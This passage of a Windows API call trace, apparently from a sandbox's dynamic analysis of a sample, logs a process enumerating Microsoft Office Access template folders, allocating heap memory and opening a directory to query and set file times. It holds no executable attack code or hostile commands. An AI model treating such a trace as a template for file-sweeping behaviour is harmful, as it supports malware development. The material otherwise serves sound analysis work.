ftCreationTime.dwLowDateTime=0xdedfe600, ftCreationTime.dwHighDateTime=0x1c6d84b, ftLastAccessTime.dwLowDateTime=0x14f56c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdedfe600, ftLastWriteTime.dwHighDateTime=0x1c6d84b, nFileSizeHigh=0x0, nFileSizeLow=0x7490b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Faculty.accdt", cAlternateFileName="")) returned 1 [0079.850] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0079.850] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0079.850] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0079.851] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0079.851] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0079.851] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f3910 [0079.851] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12272d0 [0079.851] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0079.851] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85166900, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x14f7cd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x85166900, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x80f48, dwReserved0=0x0, dwReserved1=0x0, cFileName="Issues.accdt", cAlternateFileName="")) returned 1 [0079.851] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0079.852] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0079.852] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0079.852] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0079.852] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0079.852] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f3930 [0079.852] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12273d8 [0079.852] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0079.852] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb7c1e00, ftCreationTime.dwHighDateTime=0x1c6d84b, ftLastAccessTime.dwLowDateTime=0x14f7cd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfb7c1e00, ftLastWriteTime.dwHighDateTime=0x1c6d84b, nFileSizeHigh=0x0, nFileSizeLow=0x10e5ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="Marketing Projects.accdt", cAlternateFileName="")) returned 1 [0079.852] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0079.853] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0079.853] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0079.853] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0079.853] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0079.853] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f3950 [0079.853] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12274e0 [0079.853] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0079.853] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6138700, ftCreationTime.dwHighDateTime=0x1c6ea89, ftLastAccessTime.dwLowDateTime=0x14fa2ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6138700, ftLastWriteTime.dwHighDateTime=0x1c6ea89, nFileSizeHigh=0x0, nFileSizeLow=0x1f5a52, dwReserved0=0x0, dwReserved1=0x0, cFileName="Northwind.accdt", cAlternateFileName="")) returned 1 [0079.853] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0079.854] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0079.854] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0079.854] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0079.854] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0079.854] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f3970 [0079.854] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12275e8 [0079.854] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0079.854] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14fa2ef0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x150615d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x150615d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Part", cAlternateFileName="")) returned 1 [0079.855] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9bbcc000, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x150615d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9bbcc000, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x15cc78, dwReserved0=0x0, dwReserved1=0x0, cFileName="Projects.accdt", cAlternateFileName="")) returned 1 [0079.855] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0079.855] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0079.855] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0079.855] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0079.855] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0079.855] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f3990 [0079.855] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12276f0 [0079.856] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0079.856] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6138700, ftCreationTime.dwHighDateTime=0x1c6ea89, ftLastAccessTime.dwLowDateTime=0x15087730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6138700, ftLastWriteTime.dwHighDateTime=0x1c6ea89, nFileSizeHigh=0x0, nFileSizeLow=0xf8196, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sales Pipeline.accdt", cAlternateFileName="")) returned 1 [0079.856] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0079.856] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0079.856] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0079.856] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0079.856] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0079.856] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f39b0 [0079.856] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12277f8 [0079.857] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0079.857] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8694e00, ftCreationTime.dwHighDateTime=0x1c6d84b, ftLastAccessTime.dwLowDateTime=0x15087730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe8694e00, ftLastWriteTime.dwHighDateTime=0x1c6d84b, nFileSizeHigh=0x0, nFileSizeLow=0x7d017, dwReserved0=0x0, dwReserved1=0x0, cFileName="Students.accdt", cAlternateFileName="")) returned 1 [0079.857] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0079.857] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0079.857] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0079.857] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0079.857] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0079.857] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f39d0 [0079.858] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1227900 [0079.858] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0079.858] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed2e0200, ftCreationTime.dwHighDateTime=0x1c6d84b, ftLastAccessTime.dwLowDateTime=0x15087730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xed2e0200, ftLastWriteTime.dwHighDateTime=0x1c6d84b, nFileSizeHigh=0x0, nFileSizeLow=0x84e69, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tasks.accdt", cAlternateFileName="")) returned 1 [0079.858] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0079.858] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0079.858] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0079.858] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0079.858] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0079.858] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f39f0 [0079.859] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1227a08 [0079.859] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0079.859] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14ebe6b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x14ee4810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14ee4810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WSS", cAlternateFileName="")) returned 1 [0079.859] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14ebe6b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x14ee4810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14ee4810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WSS", cAlternateFileName="")) returned 0 [0079.859] GetLastError () returned 0x12 [0079.859] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9080 [0079.859] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0079.859] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14ebe6b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x15087730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x15087730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.859] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2355ff00, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x14ee4810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2355ff00, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0xfd04e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Assets.accdt", cAlternateFileName="")) returned 1 [0079.859] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50a2ad00, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x14f0a970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50a2ad00, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x1af3fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="Charitable Contributions.accdt", cAlternateFileName="")) returned 1 [0079.859] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c0db800, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x14f30ad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c0db800, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0xd45ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="Contacts.accdt", cAlternateFileName="")) returned 1 [0079.859] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14f30ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x14f56c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14f56c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DataType", cAlternateFileName="")) returned 1 [0079.859] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1227b10 [0079.860] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\datatype"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14f30ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x14f56c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14f56c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0079.860] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\datatype"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0079.861] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0079.861] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11fe6e0 [0079.861] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11fe6e0, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x11fe6e0, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0079.861] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe6e0) returned 1 [0079.861] NtClose (Handle=0x174) returned 0x0 [0079.862] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1227b10) returned 1 [0079.862] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0079.862] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcd80 [0079.862] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1227b10 [0079.862] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0079.862] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1227c18 [0079.862] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e8f80 [0079.864] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14f30ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x14f56c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14f56c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.865] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2224d200, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x14f30ad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2224d200, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x1141, dwReserved0=0x0, dwReserved1=0x0, cFileName="Address.accft", cAlternateFileName="")) returned 1 [0079.865] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0079.865] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0079.865] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0079.865] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0079.865] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0079.866] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1227d20 [0079.866] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcd80) returned 1 [0079.866] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f3a10 [0079.866] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1227e28 [0079.866] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0079.866] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x294be000, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x14f30ad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x294be000, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x110c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Category.accft", cAlternateFileName="")) returned 1 [0079.866] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0079.866] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0079.866] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0079.867] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0079.867] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0079.867] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f3a30 [0079.867] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1227f30 [0079.867] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0079.867] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34067500, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x14f30ad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x34067500, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x1134, dwReserved0=0x0, dwReserved1=0x0, cFileName="Name.accft", cAlternateFileName="")) returned 1 [0079.867] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0079.867] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0079.868] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0079.868] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0079.868] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0079.868] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f3a50 [0079.868] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1228038 [0079.868] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0079.868] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5eb000, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x14f56c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3c5eb000, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x1109, dwReserved0=0x0, dwReserved1=0x0, cFileName="Payment Type.accft", cAlternateFileName="")) returned 1 [0079.868] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0079.869] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0079.869] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0079.869] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0079.869] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0079.869] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f3a70 [0079.869] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1228140 [0079.869] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0079.869] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x484a7200, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x14f56c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x484a7200, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x10d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Phone.accft", cAlternateFileName="")) returned 1 [0079.869] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0079.870] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0079.870] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0079.870] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0079.870] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0079.870] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f3a90 [0079.870] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1228248 [0079.870] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0079.870] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54363400, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x14f56c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54363400, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x112d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Priority.accft", cAlternateFileName="")) returned 1 [0079.870] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0079.871] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0079.871] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0079.871] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0079.871] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0079.871] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f3ab0 [0079.871] RtlAllocateHeap 